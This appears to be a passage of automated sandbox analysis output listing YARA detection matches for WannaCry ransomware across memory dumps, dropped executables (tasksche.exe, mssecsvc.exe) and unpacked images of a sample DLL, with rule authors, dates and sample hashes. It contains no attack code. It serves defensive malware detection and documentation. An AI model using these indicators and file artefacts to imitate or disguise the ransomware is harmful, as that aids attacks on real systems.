Source: 00000004.00000000.389103282.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.386790075.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.386917948.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.388214852.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.383619617.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.391365800.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs

Source: 7B6t4L7E2o.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: 7B6t4L7E2o.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7B6t4L7E2o.dll, type: SAMPLE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 10.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 8.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 10.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
